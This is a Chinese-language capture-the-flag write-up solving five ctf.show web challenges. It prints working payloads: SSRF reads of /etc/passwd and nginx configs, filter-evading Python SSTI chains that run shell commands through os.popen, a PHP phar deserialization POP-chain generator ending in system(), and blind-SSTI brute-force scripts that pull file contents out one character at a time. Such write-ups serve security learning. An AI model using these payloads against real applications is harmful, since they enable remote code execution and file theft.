文章目錄
- 1024_WEB簽到
- 1024_圖檔代理
- 1024_fastapi
- 姿勢一
- 姿勢二
- 姿勢很多,随便測試兩個
- 1024_柏拉圖
- 1024_hello_world
- 參考文章
1024_WEB簽到
代碼審計,唯一利用點
call_user_func
,一般都是需要兩個參數(可以看看官方文檔你就知道我的意思了),但是本題隻給了我們傳入一個參數的選擇,那麼他必定是無參數的函數,加上這個是一道簽到題,是以不難得出看看
phpinfo
裡面到底有啥
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-20 23:59:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-21 03:51:36
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
http://426a1193-175d-45bb-acd8-f8ae1444f794.chall.ctf.show?f=phpinfo
在
phpinfo
當中發現關鍵的利用點,有個支援的函數
ctfshow_1024
flag就出了 很簡單
1024_圖檔代理
首先打開題目看見URL後面跟的參數感覺可控,base64解密後得到
http://p.qlogo.cn/gh/372619038/372619038/0
,既然如此那就試一試能不能通路本地檔案
file:///etc/passwd
完全沒問題,猜測成功
嘗試直接讀取
file:///flag
,沒有回顯,然後就懵逼了hhh,考慮下其他方面,比如預設的配置檔案啥的,老規矩
BurpSuite
,發現是
nginx
讀取配置檔案
file:///etc/nginx/nginx.conf
# /etc/nginx/nginx.conf
user nginx;
# Set number of worker processes automatically based on number of CPU cores.
worker_processes auto;
# Enables the use of JIT for regular expressions to speed-up their processing.
pcre_jit on;
# Configures default error logger.
error_log /var/log/nginx/error.log warn;
# Includes files with directives to load dynamic modules.
include /etc/nginx/modules/*.conf;
events {
# The maximum number of simultaneous connections that can be opened by
# a worker process.
worker_connections 1024;
}
http {
# Includes mapping of file name extensions to MIME types of responses
# and defines the default type.
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Name servers used to resolve names of upstream servers into addresses.
# It's also needed when using tcpsocket and udpsocket in Lua modules.
#resolver 208.67.222.222 208.67.220.220;
# Don't tell nginx version to clients.
server_tokens off;
# Specifies the maximum accepted body size of a client request, as
# indicated by the request header Content-Length. If the stated content
# length is greater than this size, then the client receives the HTTP
# error code 413. Set to 0 to disable.
client_max_body_size 1m;
# Timeout for keep-alive connections. Server will close connections after
# this time.
keepalive_timeout 65;
# Sendfile copies data between one FD and other from within the kernel,
# which is more efficient than read() + write().
sendfile on;
# Don't buffer data-sends (disable Nagle algorithm).
# Good for sending frequent small bursts of data in real time.
tcp_nodelay on;
# Causes nginx to attempt to send its HTTP response head in one packet,
# instead of using partial frames.
#tcp_nopush on;
# Path of the file with Diffie-Hellman parameters for EDH ciphers.
#ssl_dhparam /etc/ssl/nginx/dh2048.pem;
# Specifies that our cipher suits should be preferred over client ciphers.
ssl_prefer_server_ciphers on;
# Enables a shared SSL cache with size that can hold around 8000 sessions.
ssl_session_cache shared:SSL:2m;
# Enable gzipping of responses.
#gzip on;
# Set the Vary HTTP header as defined in the RFC 2616.
gzip_vary on;
# Enable checking the existence of precompressed files.
#gzip_static on;
# Specifies the main log format.
log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';
# Sets the path, format, and configuration for a buffered log write.
access_log /var/log/nginx/access.log main;
# Includes virtual hosts configs.
include /etc/nginx/conf.d/*.conf;
}
看見最後一排
file:///etc/nginx/conf.d/default.conf
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/bushihtml;
index index.php index.html;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
location / {
try_files $uri $uri/ /index.php?$args;
}
location ~ \.php$ {
try_files $uri =404;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location = /404.html {
internal;
}
}
然後發現一些關鍵的配置資訊
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
不難想到一個利用點
Gopher打fastcgi
看出名字即為flag
1024_fastapi
這裡提供兩個姿勢吧,也是自己學到的新姿勢
首先打開網站環境
根據題目提示搜一搜
fastapi
FastAPI 是一個高性能 Web 架構,用于建構 API。
主要特性:
快速:非常高的性能,與 NodeJS 和 Go 相當
快速編碼:将功能開發速度提高約 200% 至 300%
更少的錯誤:減少約 40% 的人為錯誤
直覺:強大的編輯器支援,自動補全無處不在,調試時間更少
簡易:旨在易于使用和學習,減少閱讀文檔的時間。
簡短:減少代碼重複。
穩健:擷取可用于生産環境的代碼,具有自動互動式文檔
基于标準:基于并完全相容 API 的開放标準 OpenAPI 和 JSON Schema
通過官方文檔發現其自帶一個互動式API文檔
這裡發現兩個網址,根據經驗應該是第二個位址
因為基于
Python
,是以可以嘗試一波
SSTI
發現不用加上
{{}}
發現報
500
錯誤,可能是因為類型不比對,這邊需要字元型
成功了
成功,嘗試執行指令,需找到
[].__class__.__base__.__subclasses__()
下
catch_warnings
所在的下标,經過測試過濾了
__import__\popen\eval
等,發現能夠繞過,發現在根目錄沒有什麼敏感檔案,我們檢視目前目錄下面讀取源代碼
姿勢一
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['ev'+'al']('__imp'+'ort__("os").po'+'pen("ls ./").read()'))
姿勢二
q=str([].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls /').read())
姿勢很多,随便測試兩個
發現提示ok了,本題也結束了
得到flag
1024_柏拉圖
在開始講解之前給大家科普下常用的
__wakeup() //使用unserialize時觸發
__sleep() //使用serialize時觸發
__destruct() //對象被銷毀時觸發
__call() //在對象上下文中調用不可通路的方法時觸發
__callStatic() //在靜态上下文中調用不可通路的方法時觸發
__get() //用于從不可通路的屬性讀取資料
__set() //用于将資料寫入不可通路的屬性
__isset() //在不可通路的屬性上調用isset()或empty()觸發
__unset() //在不可通路的屬性上使用unset()時觸發
__toString() //把類當作字元串使用時觸發
__invoke() //當腳本嘗試将對象調用為函數時觸發
首頁利用點
不行,嘗試file協定
file:///etc/passwd
沒有任何回顯,但是下面沒有報錯了
最後發現是雙寫繞過,成功了
fifile://le:///etc/passwd
fifile://le:///var/www/html/index.php
嘗試讀取首頁
upload.php
<?php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 檔案已經存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "檔案存儲在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "這個檔案我不喜歡,我喜歡一個gif的檔案";
}
}
?>
readfile.php
<?php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿勢太簡單啦,來一點騷的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("這麼簡單的獲得不可能吧?!");
}
echo readfile($file);
}
?>
unlink.php
<?php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想幹什麼?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失敗!";
}
}else{
echo '要删除的檔案不存在!';
}
?>
class.php
<?php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
這裡我們通過
readfile
當中的
/^phar
以及後來的
class.php
不難想到是使用
phar
實作反序列化,但是
phar
不能出現在首部,可以利用
compress.zlib://
或
compress.bzip2://
函數來實作繞過
接下來我們看看如何實作反序列化過程利用,來構造pop鍊,不難想到把
class A中的a指派為class B
這樣當A對象銷毀時
__destruct
其中
echo
就能調用
class B當中的__toString
,這個時候,如果我們把其變量
b指派為class C
那麼就能觸發
__invoke
來實作任意指令執行
接下來我給出生成
phar
的腳本
<?php
ini_set('phar.readonly','Off');
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
$phar = new Phar("phar.phar");//字尾名必須為phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');
$phar->setMetadata($o);
$phar->addFromString("text.txt","test");//添加要壓縮的檔案
//簽名自動計算
$phar->stopBuffering();
将生成的檔案改字尾
gif
,并上傳
compress.zlib://phar:///var/www/html/upload/1.gif
,成功了hhh
将其改為
system("cat /ctfshow_1024_flag.txt");
成功得到了flag
1024_hello_world
看起來是一個
SSTI
的題目,補充一些繞過的知識點可以看我以前的一篇部落格,見下面參考連結
發現不太像行,以為被繞過了
啊這,還是不行,看了網上的師傅說的才知道這道題是
SSTI
的盲注
接下來就是一步一步測試了,接下裡我就隻給
payload
來記錄我的每一步了,當然還要知道
catch_warnings
的位置,我們這裡利用如果參數錯誤則伺服器爆
500
錯誤的特性來以及參數成功會顯示我們自定義的字元比如
2132
爆破
注意
字元串前加 r
,不然python會有錯誤
import requests
for i in range(200):
data = {
'key': r'{%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()['+f'{i}'+r']["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]!=1%}2132{%endif%}'
}
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
r = requests.post(url, data=data)
if '2132' in r.text:
print(data)
break
最後爆破出來是64
好不容易找到了姿勢,有些不能用,不知道是我的問題還是環境過濾了,希望大家在評論區給出自己的新思路
key={%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[64]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["\x5f\x5fdict\x5f\x5f"]["popen"]("ls /")["read"]()[0]!=1%}2132{%endif%}
最後我們用python腳本即可得到flag
第一步,得到根目錄下檔案名
import requests
import string
strs = string.digits + string.ascii_lowercase + ' -_{}'
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'ls /'
name = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
name += ch
print('name = ' + name)
break
import requests
import string
strs = string.digits + string.ascii_lowercase + '-_{}'
url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
cmd = 'cat /ctf*'
flag = ''
for i in range(0, 50):
for ch in strs:
payload = '{%if ""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("' + cmd + '")["read"]()[' + str(
i) + ']=="' + ch + '"%}2123{%endif%}'
data = {'key': payload}
r = requests.post(url, data)
if '2123' in r.text:
flag += ch
print('flag = ' + flag)
break